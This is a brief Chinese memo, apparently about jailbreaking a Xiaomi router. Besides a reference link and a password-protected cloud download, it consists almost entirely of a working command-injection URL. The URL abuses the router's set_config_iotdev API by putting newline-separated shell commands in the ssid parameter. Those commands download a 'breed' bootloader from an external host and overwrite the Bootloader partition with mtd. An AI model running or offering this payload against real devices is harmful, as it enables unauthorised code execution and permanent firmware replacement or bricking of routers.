参考：
https://www.chenxie.net/archives/2432.html

蓝奏云：https://wws.lanzoui.com/io6qdmmhupg 密码:5q3u

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%202e0c6b4ffe8e4a74b7dc9c1f732dab03158dfe4c5f0b30425d9326836b5cec70)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A